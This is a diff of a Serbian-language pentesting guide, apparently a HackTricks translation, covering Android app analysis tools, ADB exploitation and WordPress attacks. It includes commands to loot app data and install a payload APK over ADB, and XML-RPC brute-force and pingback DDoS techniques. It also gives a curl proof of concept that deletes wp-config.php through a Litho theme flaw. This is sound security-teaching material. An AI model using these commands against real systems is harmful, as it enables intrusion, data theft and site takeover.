Frida. @@ -450,7 +450,7 @@ Ako želite da testirate Android aplikacije, morate znati kako koristiti Frida. ### **Dump Memorije - Fridump** -Proverite da li aplikacija čuva osetljive informacije unutar memorije koje ne bi trebala da čuva, kao što su lozinke ili mnemotehničke asocijacije. +Proverite da li aplikacija čuva osetljive informacije unutar memorije koje ne bi trebala da čuva, kao što su lozinke ili mnemotehnike. Korišćenjem [**Fridump3**](https://github.com/rootbsd/fridump3) možete dumpovati memoriju aplikacije sa: ```bash @@ -461,7 +461,7 @@ python3 fridump3.py -u frida-ps -Uai python3 fridump3.py -u "" ``` -Ovo će isprazniti memoriju u ./dump folder, i tamo možete koristiti grep sa nečim poput: +Ovo će isprazniti memoriju u ./dump folder, i tamo možete pretraživati sa nečim poput: ```bash strings * | grep -E "^[a-z]+ [a-z]+ [a-z]+ [a-z]+ [a-z]+ [a-z]+ [a-z]+ [a-z]+ [a-z]+ [a-z]+ [a-z]+ [a-z]+$" ``` @@ -499,7 +499,7 @@ Ovaj alat može pomoći u upravljanju različitim alatima tokom dinamičke anali ### Intent Injection -Programeri često kreiraju proxy komponente kao što su aktivnosti, servisi i prijemnici koji obrađuju ove Intente i prosleđuju ih metodama kao što su `startActivity(...)` ili `sendBroadcast(...)`, što može biti rizično. +Programeri često kreiraju proxy komponente kao što su aktivnosti, servisi i prijemnici emitovanja koji obrađuju ove Intente i prosleđuju ih metodama kao što su `startActivity(...)` ili `sendBroadcast(...)`, što može biti rizično. Opasnost leži u omogućavanju napadačima da aktiviraju neizvezene komponente aplikacije ili pristupe osetljivim provajderima sadržaja preusmeravanjem ovih Intenta. Značajan primer je `WebView` komponenta koja konvertuje URL-ove u `Intent` objekte putem `Intent.parseUri(...)` i zatim ih izvršava, što može dovesti do malicioznih injekcija Intenta. @@ -535,40 +535,40 @@ Verovatno znate o ovim vrstama ranjivosti sa weba. Morate biti posebno oprezni s docker pull opensecurity/mobile-security-framework-mobsf docker run -it -p 8000:8000 opensecurity/mobile-security-framework-mobsf:latest ``` -Napomena da MobSF može analizirati **Android**(apk)**, IOS**(ipa) **i Windows**(apx) aplikacije (_Windows aplikacije moraju biti analizirane sa MobSF instaliranim na Windows hostu_).\ +Obratite pažnju da MobSF može analizirati **Android**(apk)**, IOS**(ipa) **i Windows**(apx) aplikacije (_Windows aplikacije moraju biti analizirane sa MobSF instaliranim na Windows hostu_).\ Takođe, ako kreirate **ZIP** datoteku sa izvorni kodom **Android** ili **IOS** aplikacije (idite u korenski folder aplikacije, izaberite sve i kreirajte ZIP datoteku), moći će da je analizira. -MobSF takođe omogućava **diff/Compare** analizu i integraciju sa **VirusTotal** (biće potrebno da postavite svoj API ključ u _MobSF/settings.py_ i omogućite ga: `VT_ENABLED = TRUE` `VT_API_KEY = ` `VT_UPLOAD = TRUE`). Takođe možete postaviti `VT_UPLOAD` na `False`, tada će **hash** biti **upload** umesto datoteke. +MobSF takođe omogućava **diff/Compare** analizu i integraciju **VirusTotal** (biće potrebno da postavite svoj API ključ u _MobSF/settings.py_ i omogućite ga: `VT_ENABLED = TRUE` `VT_API_KEY = ` `VT_UPLOAD = TRUE`). Takođe možete postaviti `VT_UPLOAD` na `False`, tada će **hash** biti **upload** umesto datoteke. ### Pomoćna dinamička analiza sa MobSF -**MobSF** može biti veoma koristan za **dinamičku analizu** u **Android**, ali u tom slučaju ćete morati da instalirate MobSF i **genymotion** na vašem hostu (VM ili Docker neće raditi). _Napomena: Prvo treba da **pokrenete VM u genymotion** a **zatim MobSF.**_\ +**MobSF** može biti veoma koristan za **dinamičku analizu** u **Androidu**, ali u tom slučaju ćete morati da instalirate MobSF i **genymotion** na vašem hostu (VM ili Docker neće raditi). _Napomena: Prvo treba da **pokrenete VM u genymotion** a **zatim MobSF.**_\ **MobSF dinamički analizer** može: -- **Dump podataka aplikacije** (URL-ovi, logovi, clipboard, screenshot-ovi koje ste napravili, screenshot-ovi koje je napravio "**Exported Activity Tester**", emailovi, SQLite baze podataka, XML datoteke i druge kreirane datoteke). Sve ovo se radi automatski osim za screenshot-ove, morate pritisnuti kada želite screenshot ili morate pritisnuti "**Exported Activity Tester**" da biste dobili screenshot-ove svih eksportovanih aktivnosti. +- **Dump podataka aplikacije** (URL-ovi, logovi, clipboard, screenshotovi koje ste napravili, screenshotovi napravljeni od strane "**Exported Activity Tester**", emailovi, SQLite baze podataka, XML datoteke i druge kreirane datoteke). Sve ovo se radi automatski osim za screenshotove, morate pritisnuti kada želite screenshot ili morate pritisnuti "**Exported Activity Tester**" da biste dobili screenshotove svih eksportovanih aktivnosti. - Zabeležiti **HTTPS saobraćaj** - Koristiti **Frida** za dobijanje **runtime** **informacija** -Od android **verzija > 5**, automatski će **pokrenuti Frida** i postaviće globalne **proxy** postavke za **zapisivanje** saobraćaja. Zabeležiće samo saobraćaj iz testirane aplikacije. +Od android **verzija > 5**, automatski će **pokrenuti Frida** i postaviće globalne **proxy** postavke za **hvatanje** saobraćaja. Hvataće samo saobraćaj iz testirane aplikacije. **Frida** -Po defaultu, takođe će koristiti neke Frida skripte za **obići SSL pinning**, **detekciju root-a** i **detekciju debagera** i za **monitorisanje zanimljivih API-ja**.\ -MobSF takođe može **pozvati eksportovane aktivnosti**, uhvatiti **screenshot-ove** njih i **sačuvati** ih za izveštaj. +Po defaultu, takođe će koristiti neke Frida skripte za **obići SSL pinning**, **detekciju root-a** i **detekciju debagera** i za **monitorisanje interesantnih API-ja**.\ +MobSF takođe može **pozvati eksportovane aktivnosti**, uhvatiti **screenshotove** njih i **sačuvati** ih za izveštaj. -Da **počnete** dinamičko testiranje pritisnite zeleni dugme: "**Start Instrumentation**". Pritisnite "**Frida Live Logs**" da biste videli logove generisane Frida skriptama i "**Live API Monitor**" da biste videli sve pozive ka uhvaćenim metodama, prosleđene argumente i vraćene vrednosti (ovo će se pojaviti nakon pritiska na "Start Instrumentation").\ -MobSF takođe omogućava da učitate svoje **Frida skripte** (da biste poslali rezultate vaših Frida skripti u MobSF koristite funkciju `send()`). Takođe ima **several pre-written scripts** koje možete učitati (možete dodati više u `MobSF/DynamicAnalyzer/tools/frida_scripts/others/`), samo **izaberite ih**, pritisnite "**Load**" i pritisnite "**Start Instrumentation**" (moći ćete da vidite logove tih skripti unutar "**Frida Live Logs**"). +Da biste **počeli** dinamičko testiranje, pritisnite zeleni dugme: "**Start Instrumentation**". Pritisnite "**Frida Live Logs**" da biste videli logove generisane Frida skriptama i "**Live API Monitor**" da biste videli sve pozive ka uhvaćenim metodama, prosleđene argumente i vraćene vrednosti (ovo će se pojaviti nakon pritiska na "Start Instrumentation").\ +MobSF takođe omogućava da učitate svoje **Frida skripte** (da biste poslali rezultate svojih Frida skripti u MobSF, koristite funkciju `send()`). Takođe ima **several pre-written scripts** koje možete učitati (možete dodati više u `MobSF/DynamicAnalyzer/tools/frida_scripts/others/`), samo **izaberite ih**, pritisnite "**Load**" i pritisnite "**Start Instrumentation**" (moći ćete da vidite logove tih skripti unutar "**Frida Live Logs**"). ![](<../../images/image (419).png>) Pored toga, imate neke pomoćne Frida funkcionalnosti: - **Enumerate Loaded Classes**: Ispisaće sve učitane klase -- **Capture Strings**: Ispisaće sve uhvaćene stringove dok koristite aplikaciju (veoma bučno) +- **Capture Strings**: Ispisaće sve uhvaćene stringove dok koristite aplikaciju (super bučno) - **Capture String Comparisons**: Može biti veoma korisno. **Prikazaće 2 stringa koja se upoređuju** i da li je rezultat bio True ili False. - **Enumerate Class Methods**: Unesite ime klase (kao "java.io.File") i ispisuje sve metode klase. - **Search Class Pattern**: Pretražuje klase po obrascu -- **Trace Class Methods**: **Prati** celu **klasu** (vidi ulaze i izlaze svih metoda klase). Zapamtite da po defaultu MobSF prati nekoliko zanimljivih Android API metoda. +- **Trace Class Methods**: **Prati** celu **klasu** (vidi ulaze i izlaze svih metoda klase). Zapamtite da po defaultu MobSF prati nekoliko interesantnih Android API metoda. Kada odaberete pomoćni modul koji želite da koristite, potrebno je da pritisnete "**Start Instrumentation**" i videćete sve izlaze u "**Frida Live Logs**". @@ -610,7 +610,7 @@ Ovo je **sjajan alat za izvođenje statičke analize sa GUI-jem** ### [Qark](https://github.com/linkedin/qark) -Ovaj alat je dizajniran da traži nekoliko **ranjivosti vezanih za sigurnost Android aplikacija**, bilo u **izvor kodu** ili **pakovanim APK-ima**. Alat je takođe **sposoban da kreira "Proof-of-Concept" deployable APK** i **ADB komande**, da bi iskoristio neke od pronađenih ranjivosti (Izložene aktivnosti, intencije, tapjacking...). Kao i sa Drozer-om, nije potrebno root-ovati test uređaj. +Ovaj alat je dizajniran da traži nekoliko **ranjivosti vezanih za bezbednost Android aplikacija**, bilo u **izvor kodu** ili **pakovanim APK-ima**. Alat je takođe **sposoban da kreira "Proof-of-Concept" deployable APK** i **ADB komande**, da bi iskoristio neke od pronađenih ranjivosti (Izložene aktivnosti, intencije, tapjacking...). Kao i sa Drozer-om, nije potrebno root-ovati test uređaj. ```bash pip3 install --user qark # --user is only needed if not using a virtualenv qark --apk path/to/my.apk @@ -619,7 +619,7 @@ qark --java path/to/specific/java/file.java ``` ### [**ReverseAPK**](https://github.com/1N3/ReverseAPK.git) -- Prikazuje sve ekstrahovane datoteke za laku referencu +- Prikazuje sve ekstrahovane datoteke radi lakšeg referenciranja - Automatski dekompajlira APK datoteke u Java i Smali format - Analizira AndroidManifest.xml za uobičajene ranjivosti i ponašanje - Staticka analiza izvornog koda za uobičajene ranjivosti i ponašanje @@ -630,9 +630,9 @@ reverse-apk relative/path/to/APP.apk ``` ### [SUPER Android Analyzer](https://github.com/SUPERAndroidAnalyzer/super) -SUPER je aplikacija za komandnu liniju koja se može koristiti na Windows, MacOS X i Linux, koja analizira _.apk_ fajlove u potrazi za ranjivostima. To radi dekompresovanjem APK-ova i primenom niza pravila za otkrivanje tih ranjivosti. +SUPER je aplikacija za komandnu liniju koja se može koristiti na Windows, MacOS X i Linux, koja analizira _.apk_ datoteke u potrazi za ranjivostima. To radi dekompresovanjem APK-ova i primenom niza pravila za otkrivanje tih ranjivosti. -Sva pravila su fokusirana u `rules.json` fajlu, a svaka kompanija ili tester može kreirati svoja pravila za analizu onoga što im je potrebno. +Sva pravila su centrirana u `rules.json` datoteci, a svaka kompanija ili tester može kreirati svoja pravila za analizu onoga što im je potrebno. Preuzmite najnovije binarne datoteke sa [strane za preuzimanje](https://superanalyzer.rocks/download.html) ``` @@ -664,7 +664,7 @@ androbugs.exe -f [APK file] Detekcija se vrši **statističkom analizom** Dalvik bytecode-a aplikacije, predstavljenog kao **Smali**, uz pomoć biblioteke [`androguard`](https://github.com/androguard/androguard). -Ovaj alat traži **uobičajeno ponašanje "loših" aplikacija** kao što su: eksfiltracija telekomunikacionih identifikatora, presretanje audio/video toka, modifikacija PIM podataka, izvršavanje proizvoljnog koda... +Ovaj alat traži **uobičajeno ponašanje "loših" aplikacija** kao što su: Ekstrakcija telekomunikacionih identifikatora, presretanje audio/video toka, modifikacija PIM podataka, izvršavanje proizvoljnog koda... ``` python androwarn.py -i my_application_to_be_analyzed.apk -r html -v 3 ``` @@ -672,7 +672,7 @@ python androwarn.py -i my_application_to_be_analyzed.apk -r html -v 3 ![](<../../images/image (595).png>) -**MARA** je **M**obilna **A**plikacija **R**everzno inženjerstvo i **A**naliza Framework. To je alat koji okuplja često korišćene alate za reverzno inženjerstvo i analizu mobilnih aplikacija, kako bi pomogao u testiranju mobilnih aplikacija protiv OWASP mobilnih bezbednosnih pretnji. Njegov cilj je da olakša ovaj zadatak i učini ga prijatnijim za programere mobilnih aplikacija i stručnjake za bezbednost. +**MARA** je **M**obila **A**plikacija **R**everzno inženjerstvo i **A**naliza okvir. To je alat koji okuplja često korišćene alate za reverzno inženjerstvo i analizu mobilnih aplikacija, kako bi pomogao u testiranju mobilnih aplikacija protiv OWASP mobilnih bezbednosnih pretnji. Njegov cilj je da ovu zadatak učini lakšim i prijatnijim za programere mobilnih aplikacija i stručnjake za bezbednost. Može da: @@ -687,13 +687,13 @@ Može da: Koristan za otkrivanje malvera: [https://koodous.com/](https://koodous.com) -## Obfuscating/Deobfuscating code +## Obfuskacija/Deobfuskacija koda -Napomena da zavisno od usluge i konfiguracije koju koristite za obfuskaciju koda. Tajne mogu ili ne moraju biti obfuskirane. +Imajte na umu da zavisno od usluge i konfiguracije koju koristite za obfuskaciju koda. Tajne mogu ili ne moraju biti obfuskirane. ### [ProGuard]() -Sa [Vikipedije](): **ProGuard** je open source alat za komandnu liniju koji smanjuje, optimizuje i obfuskira Java kod. U stanju je da optimizuje bajtkod kao i da detektuje i ukloni neiskorišćene instrukcije. ProGuard je besplatan softver i distribuira se pod GNU General Public License, verzija 2. +Sa [Vikipedije](): **ProGuard** je alat otvorenog koda za komandnu liniju koji smanjuje, optimizuje i obfuskira Java kod. U stanju je da optimizuje bajtkod kao i da detektuje i ukloni neiskorišćene instrukcije. ProGuard je besplatan softver i distribuira se pod GNU General Public License, verzija 2. ProGuard se distribuira kao deo Android SDK-a i pokreće se prilikom izgradnje aplikacije u režimu objavljivanja. @@ -701,31 +701,31 @@ ProGuard se distribuira kao deo Android SDK-a i pokreće se prilikom izgradnje a Pronađite vodič korak po korak za deobfuskaciju apk-a na [https://blog.lexfo.fr/dexguard.html](https://blog.lexfo.fr/dexguard.html) -(Prema tom vodiču) Poslednji put kada smo proveravali, način rada Dexguard-a je bio: +(Prema tom vodiču) Poslednji put kada smo proveravali, način rada Dexguard-a bio je: - učitati resurs kao InputStream; - proslediti rezultat klasi koja nasleđuje FilterInputStream da bi ga dekriptovali; - uraditi neku beskorisnu obfuskaciju da bi se izgubilo nekoliko minuta vremena od reverzera; -- proslediti dekriptovani rezultat ZipInputStream-u da bi dobili DEX fajl; -- konačno učitati dobijeni DEX kao Resurs koristeći metodu `loadDex`. +- proslediti dekriptovani rezultat ZipInputStream-u da bi dobili DEX datoteku; +- konačno učitati dobijeni DEX kao resurs koristeći metodu `loadDex`. ### [DeGuard](http://apk-deguard.com) -**DeGuard obrnuta proces obfuskacije koju vrše Android alati za obfuskaciju. Ovo omogućava brojne analize bezbednosti, uključujući inspekciju koda i predikciju biblioteka.** +**DeGuard preokreće proces obfuskacije koji izvode Android alati za obfuskaciju. Ovo omogućava brojne analize bezbednosti, uključujući inspekciju koda i predikciju biblioteka.** Možete da otpremite obfuskovani APK na njihovu platformu. ### [Deobfuscate android App](https://github.com/In3tinct/deobfuscate-android-app) -Ovo je LLM alat za pronalaženje potencijalnih bezbednosnih ranjivosti u android aplikacijama i deobfuskaciju koda android aplikacija. Koristi Google-ov Gemini javni API. +Ovo je LLM alat za pronalaženje potencijalnih bezbednosnih ranjivosti u android aplikacijama i deobfuskaciju koda android aplikacija. Koristi Google-ov javni API Gemini. ### [Simplify](https://github.com/CalebFenton/simplify) -To je **generički android deobfuskator.** Simplify **virtuelno izvršava aplikaciju** da razume njeno ponašanje i zatim **pokušava da optimizuje kod** tako da se ponaša identično, ali je lakše za razumevanje ljudima. Svaka vrsta optimizacije je jednostavna i generička, tako da nije važno koja specifična vrsta obfuskacije se koristi. +To je **generički android deobfuskator.** Simplify **virtuelno izvršava aplikaciju** da razume njeno ponašanje i zatim **pokušava da optimizuje kod** tako da se ponaša identično, ali je lakši za razumevanje ljudima. Svaka vrsta optimizacije je jednostavna i generička, tako da nije važno koja specifična vrsta obfuskacije se koristi. ### [APKiD](https://github.com/rednaga/APKiD) -APKiD vam daje informacije o **kako je APK napravljen**. Identifikuje mnoge **kompilatore**, **pakere**, **obfuskatore**, i druge čudne stvari. To je [_PEiD_](https://www.aldeid.com/wiki/PEiD) za Android. +APKiD vam daje informacije o **kako je APK napravljen**. Identifikuje mnoge **kompilatore**, **pakere**, **obfuskatore** i druge čudne stvari. To je [_PEiD_](https://www.aldeid.com/wiki/PEiD) za Android. ### Manual @@ -735,7 +735,7 @@ APKiD vam daje informacije o **kako je APK napravljen**. Identifikuje mnoge **ko ### [Androl4b](https://github.com/sh4hin/Androl4b) -AndroL4b je Android bezbednosna virtuelna mašina zasnovana na ubuntu-mate koja uključuje kolekciju najnovijih framework-a, tutorijala i laboratorija od različitih bezbednosnih entuzijasta i istraživača za reverzno inženjerstvo i analizu malvera. +AndroL4b je Android bezbednosna virtuelna mašina zasnovana na ubuntu-mate koja uključuje kolekciju najnovijih okvira, tutorijala i laboratorija od različitih bezbednosnih entuzijasta i istraživača za reverzno inženjerstvo i analizu malvera. ## References diff --git a/src/network-services-pentesting/5555-android-debug-bridge.md b/src/network-services-pentesting/5555-android-debug-bridge.md index d4193dca5..2de7637fd 100644 --- a/src/network-services-pentesting/5555-android-debug-bridge.md +++ b/src/network-services-pentesting/5555-android-debug-bridge.md @@ -48,9 +48,9 @@ id; getenforce; getprop ro.build.type ro.product.model ro.build.fingerprint pm list packages -3 pm path ``` -- Ako imate root (adb root ili su radi), možete pristupiti /data direktno. Ako ne, preferirajte run-as za aplikacije koje se mogu debagovati: +- Ako imate root (adb root ili su rade), možete pristupiti /data direktno. Ako ne, preferirajte run-as za debuggable aplikacije: ```bash -# Bez roota, za aplikaciju koja se može debagovati +# Bez roota, za debuggable aplikaciju run-as sh -c 'cd /data/data/ && tar cf - .' | tar xf - -C ./loot/ # Sa rootom @@ -60,16 +60,16 @@ adb pull "/sdcard/" ``` - Korisni sistemski artefakti (potreban root): - /data/system/users/0/accounts.db i povezani AccountManager podaci -- /data/misc/wifi/ (konfiguracije/ključevi mreže na starijim verzijama) -- Specifične SQLite DB-ove aplikacija i shared_prefs pod /data/data/ +- /data/misc/wifi/ (mrežne konfiguracije/ključevi na starijim verzijama) +- Aplikacione SQLite DB-ove i shared_prefs pod /data/data/ -Možete koristiti ovo za preuzimanje osetljivih informacija (npr., tajne aplikacije). Za beleške o razmatranjima podataka Chrome-a, pogledajte problem referenciran [ovde](https://github.com/carlospolop/hacktricks/issues/274). +Možete koristiti ovo za preuzimanje osetljivih informacija (npr., tajne aplikacije). Za beleške o razmatranju Chrome podataka, pogledajte problem referenciran [ovde](https://github.com/carlospolop/hacktricks/issues/274). ### Code execution and payload delivery -- Instalirajte i automatski dodelite dozvole za vreme izvođenja: +- Instalirajte i automatski dodelite runtime dozvole: ```bash -adb install -r -g payload.apk # -g dodeljuje sve dozvole za vreme izvođenja navedene u manifestu +adb install -r -g payload.apk # -g dodeljuje sve runtime dozvole navedene u manifestu adb shell monkey -p -c android.intent.category.LAUNCHER 1 ``` - Pokrenite aktivnosti/usluge/emitovanja direktno: @@ -83,7 +83,7 @@ adb shell am broadcast -a Čak i bez roota, adb može preusmeriti lokalne portove na portove uređaja i obrnuto. Ovo je korisno za pristup uslugama vezanim lokalno na uređaju ili za izlaganje usluga napadača uređaju. -- Preusmeravanje host->uređaj (pristup lokalnoj usluzi uređaja sa vašeg hosta): +- Preusmeravanje host->uređaj (pristupite lokalnoj usluzi uređaja sa vašeg hosta): ```bash adb forward tcp:2222 tcp:22 # Ako uređaj pokreće SSH (npr., Termux/Dropbear) adb forward tcp:8081 tcp:8080 # Izložite lokalni debug server aplikacije @@ -121,7 +121,7 @@ Ofanzivne implikacije: ako možete da interagujete sa UI uređaja (npr. fizički ## Hardening / Detection -Defanzivci bi trebali pretpostaviti da je svaki dostupni adbd (TCP) kritički rizik. +Defanzivci bi trebali pretpostaviti da je svaki dostupni adbd (TCP) kritičan rizik. - Onemogućite ADB i bežično debagovanje kada nisu potrebni. Oduzmite ovlašćenja za USB debagovanje u opcijama za programere. - Osigurajte da mrežna politika blokira dolazni TCP/5555 i mDNS zasnovano ADB otkrivanje na nepouzdanim segmentima. diff --git a/src/network-services-pentesting/pentesting-web/wordpress.md b/src/network-services-pentesting/pentesting-web/wordpress.md index 2a442c316..82887586d 100644 --- a/src/network-services-pentesting/pentesting-web/wordpress.md +++ b/src/network-services-pentesting/pentesting-web/wordpress.md @@ -42,7 +42,7 @@ ## **Pasivna enumeracija** -### **Dobijanje WordPress verzije** +### **Dobijanje verzije WordPress-a** Proverite da li možete pronaći datoteke `/license.txt` ili `/readme.html` @@ -79,11 +79,11 @@ curl -H 'Cache-Control: no-cache, no-store' -L -ik -s https://wordpress.org/supp ### Plugin-i i Teme -Verovatno nećete moći da pronađete sve moguće Plugin-e i Teme. Da biste ih otkrili, moraćete da **aktivno Brute Force-ujete listu Plugin-a i Tema** (nadamo se da postoje automatski alati koji sadrže ove liste). +Verovatno nećete moći da pronađete sve moguće Plugin-e i Teme. Da biste ih otkrili, biće potrebno da **aktivno Brute Force-ujete listu Plugin-a i Tema** (na sreću, postoje automatski alati koji sadrže ove liste). ### Korisnici -- **ID Brute:** Dobijate validne korisnike sa WordPress sajta Brute Forcing-om ID-eva korisnika: +- **ID Brute:** Dobijate validne korisnike sa WordPress sajta Brute Forcing-om korisničkih ID-eva: ```bash curl -s -I -X GET http://blog.example.com/?author=1 ``` @@ -101,7 +101,7 @@ Napomena da ovaj krajnji tačka izlaže samo korisnike koji su napravili post. * Takođe, napomena da **/wp-json/wp/v2/pages** može da otkrije IP adrese. -- **Enumeracija korisničkih imena za prijavu**: Kada se prijavljujete na **`/wp-login.php`**, **poruka** je **drugačija** u zavisnosti od toga da li je navedeno **korisničko ime postoji ili ne**. +- **Enumeracija korisničkih imena za prijavu**: Kada se prijavljujete u **`/wp-login.php`**, **poruka** je **drugačija** u zavisnosti od toga da li je **korisničko ime prisutno ili ne**. ### XML-RPC @@ -136,7 +136,7 @@ Poruka _"Pogrešno korisničko ime ili lozinka"_ unutar odgovora sa kodom 200 tr ![](<../../images/image (721).png>) -Korišćenjem ispravnih akreditiva možete otpremiti datoteku. U odgovoru će se pojaviti putanja ([https://gist.github.com/georgestephanis/5681982](https://gist.github.com/georgestephanis/5681982)) +Korišćenjem ispravnih akreditiva možete da otpremite datoteku. U odgovoru će se pojaviti putanja ([https://gist.github.com/georgestephanis/5681982](https://gist.github.com/georgestephanis/5681982)) ```html @@ -166,17 +166,17 @@ Korišćenjem ispravnih akreditiva možete otpremiti datoteku. U odgovoru će se ``` -Takođe postoji **brži način** za brute-force kredencijale koristeći **`system.multicall`** jer možete pokušati nekoliko kredencijala u istom zahtevu: +Takođe postoji **brži način** za brute-force kredencijale koristeći **`system.multicall`** jer možete isprobati nekoliko kredencijala u istom zahtevu:
**Obilaženje 2FA** -Ova metoda je namenjena programima, a ne ljudima, i stara je, stoga ne podržava 2FA. Dakle, ako imate važeće kredencijale, ali je glavni ulaz zaštićen 2FA, **možda ćete moći da iskoristite xmlrpc.php da se prijavite sa tim kredencijalima obilažeći 2FA**. Imajte na umu da nećete moći da izvršite sve radnje koje možete da uradite putem konzole, ali možda ćete i dalje moći da dođete do RCE-a kao što Ippsec objašnjava u [https://www.youtube.com/watch?v=p8mIdm93mfw\&t=1130s](https://www.youtube.com/watch?v=p8mIdm93mfw&t=1130s) +Ova metoda je namenjena programima, a ne ljudima, i stara je, stoga ne podržava 2FA. Dakle, ako imate važeće kredencijale, ali je glavni ulaz zaštićen 2FA, **možda ćete moći da zloupotrebite xmlrpc.php da se prijavite sa tim kredencijalima obilažeći 2FA**. Imajte na umu da nećete moći da izvršite sve radnje koje možete da uradite putem konzole, ali možda ćete i dalje moći da dođete do RCE-a kao što Ippsec objašnjava u [https://www.youtube.com/watch?v=p8mIdm93mfw\&t=1130s](https://www.youtube.com/watch?v=p8mIdm93mfw&t=1130s) **DDoS ili skeniranje portova** -Ako možete pronaći metodu _**pingback.ping**_ unutar liste, možete naterati Wordpress da pošalje proizvoljan zahtev bilo kojem hostu/portu.\ +Ako možete pronaći metodu _**pingback.ping**_ unutar liste, možete naterati Wordpress da pošalje proizvoljan zahtev bilo kom hostu/portu.\ Ovo se može koristiti da se zatraži **hiljade** Wordpress **sajtova** da **pristupe** jednoj **lokaciji** (tako da se izazove **DDoS** u toj lokaciji) ili možete to koristiti da naterate **Wordpress** da **skanira** neku internu **mrežu** (možete naznačiti bilo koji port). ```html @@ -191,7 +191,7 @@ Ovo se može koristiti da se zatraži **hiljade** Wordpress **sajtova** da **pri Ako dobijete **faultCode** sa vrednošću **većom** od **0** (17), to znači da je port otvoren. -Pogledajte korišćenje **`system.multicall`** u prethodnom odeljku da biste naučili kako da zloupotrebite ovu metodu za izazivanje DDoS-a. +Pogledajte korišćenje **`system.multicall`** u prethodnom odeljku da biste naučili kako da zloupotrebite ovu metodu za izazivanje DDoS. **DDoS** ```html @@ -209,7 +209,7 @@ Pogledajte korišćenje **`system.multicall`** u prethodnom odeljku da biste nau Ova datoteka obično postoji u korenu Wordpress sajta: **`/wp-cron.php`**\ Kada se ova datoteka **pristupi**, izvršava se "**teška**" MySQL **upit**, tako da bi mogla biti korišćena od strane **napadača** da **uzrokuje** **DoS**.\ -Takođe, po defaultu, `wp-cron.php` se poziva pri svakom učitavanju stranice (svaki put kada klijent zatraži neku Wordpress stranicu), što na sajtovima sa visokim prometom može izazvati probleme (DoS). +Takođe, po defaultu, `wp-cron.php` se poziva pri svakom učitavanju stranice (svaki put kada klijent zahteva neku Wordpress stranicu), što na sajtovima sa velikim prometom može izazvati probleme (DoS). Preporučuje se da se onemogući Wp-Cron i da se kreira pravi cronjob unutar hosta koji izvršava potrebne radnje u redovnim intervalima (bez izazivanja problema). @@ -229,7 +229,7 @@ https://github.com/t0gu/quickpress/blob/master/core/requests.go Ovaj alat proverava da li **methodName: pingback.ping** postoji za putanju **/wp-json/oembed/1.0/proxy** i ako postoji, pokušava da ih iskoristi. -## Automatski alati +## Automatic Tools ```bash cmsmap -s http://www.domain.com -t 2 -a "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:69.0) Gecko/20100101 Firefox/69.0" wpscan --rua -e ap,at,tt,cb,dbe,u,m --url http://www.domain.com [--plugins-detection aggressive] --api-token --passwords /usr/share/wordlists/external/SecLists/Passwords/probable-v2-top1575.txt #Brute force found users and search for vulnerabilities using a free API token (up 50 searchs) @@ -237,14 +237,14 @@ wpscan --rua -e ap,at,tt,cb,dbe,u,m --url http://www.domain.com [--plugins-detec ``` ## Dobijanje pristupa prepisivanjem bita -Više od pravog napada, ovo je radoznalost. U CTF [https://github.com/orangetw/My-CTF-Web-Challenges#one-bit-man](https://github.com/orangetw/My-CTF-Web-Challenges#one-bit-man) mogli ste da prebacite 1 bit iz bilo kog wordpress fajla. Tako ste mogli da prebacite poziciju `5389` fajla `/var/www/html/wp-includes/user.php` da NOP-ujete NOT (`!`) operaciju. +Više od pravog napada, ovo je radoznalost. U CTF-u [https://github.com/orangetw/My-CTF-Web-Challenges#one-bit-man](https://github.com/orangetw/My-CTF-Web-Challenges#one-bit-man) mogli ste da preokrenete 1 bit iz bilo kog wordpress fajla. Tako ste mogli da preokrenete poziciju `5389` fajla `/var/www/html/wp-includes/user.php` da biste NOP-ovali NOT (`!`) operaciju. ```php if ( ! wp_check_password( $password, $user->user_pass, $user->ID ) ) { return new WP_Error( ``` ## **Panel RCE** -**Modifikovanje php iz teme koja se koristi (potrebne admin kredencijale)** +**Modifikovanje php iz teme koja se koristi (potrebne su admin kredencijali)** Izgled → Urednik teme → 404 Šablon (s desne strane) @@ -362,21 +362,21 @@ $this->namespace, '/get/', array( ``` `permission_callback` je povratna funkcija koja proverava da li je dati korisnik ovlašćen da pozove API metodu. -**Ako se koristi ugrađena funkcija `__return_true`, jednostavno će preskočiti proveru dozvola korisnika.** +**Ako se koristi ugrađena funkcija `__return_true`, jednostavno će preskočiti proveru korisničkih dozvola.** - **Direktan pristup php datoteci** -Naravno, Wordpress koristi PHP i datoteke unutar dodataka su direktno dostupne sa veba. Dakle, u slučaju da dodatak izlaže bilo koju ranjivu funkcionalnost koja se aktivira jednostavnim pristupom datoteci, biće eksploatabilna od strane bilo kog korisnika. +Naravno, Wordpress koristi PHP i datoteke unutar dodataka su direktno dostupne sa veba. Dakle, u slučaju da dodatak izlaže bilo koju ranjivu funkcionalnost koja se aktivira jednostavnim pristupom datoteci, biće podložna eksploataciji od strane bilo kog korisnika. ### Neautentifikovano proizvoljno brisanje datoteka putem wp_ajax_nopriv (Litho Tema <= 3.0) -WordPress teme i dodaci često izlažu AJAX rukovaoce kroz `wp_ajax_` i `wp_ajax_nopriv_` hook-ove. Kada se koristi varijanta **_nopriv_**, **povratna funkcija postaje dostupna neautentifikovanim posetiocima**, tako da svaka osetljiva akcija mora dodatno implementirati: +WordPress teme i dodaci često izlažu AJAX rukovaoce putem `wp_ajax_` i `wp_ajax_nopriv_` hook-ova. Kada se koristi varijanta **_nopriv_**, **povratna funkcija postaje dostupna neautentifikovanim posetiocima**, tako da svaka osetljiva akcija mora dodatno implementirati: 1. Proveru **kapaciteta** (npr. `current_user_can()` ili barem `is_user_logged_in()`), i 2. **CSRF nonce** validiran sa `check_ajax_referer()` / `wp_verify_nonce()`, i 3. **Strogu sanitizaciju / validaciju unosa**. -Litho multipurpose tema (< 3.1) je zaboravila ta 3 kontrola u funkciji *Ukloni Font Family* i završila je sa isporukom sledećeg koda ( pojednostavljeno): +Litho multipurpose tema (< 3.1) je zaboravila ta 3 kontrola u funkciji *Remove Font Family* i završila je sa isporukom sledećeg koda ( pojednostavljeno): ```php function litho_remove_font_family_action_data() { if ( empty( $_POST['fontfamily'] ) ) { @@ -409,11 +409,11 @@ curl -X POST https://victim.com/wp-admin/admin-ajax.php \ -d 'action=litho_remove_font_family_action_data' \ -d 'fontfamily=../../../../wp-config.php' ``` -Zato što `wp-config.php` živi van *uploads*, četiri `../` sekvence su dovoljne na podrazumevanoj instalaciji. Brisanje `wp-config.php` prisiljava WordPress da uđe u *čarobnjaka za instalaciju* pri sledećem posetu, omogućavajući potpunu preuzimanje sajta (napadač samo unosi novu DB konfiguraciju i kreira admin korisnika). +Zato što `wp-config.php` živi van *uploads*, četiri `../` sekvence su dovoljne na podrazumevanoj 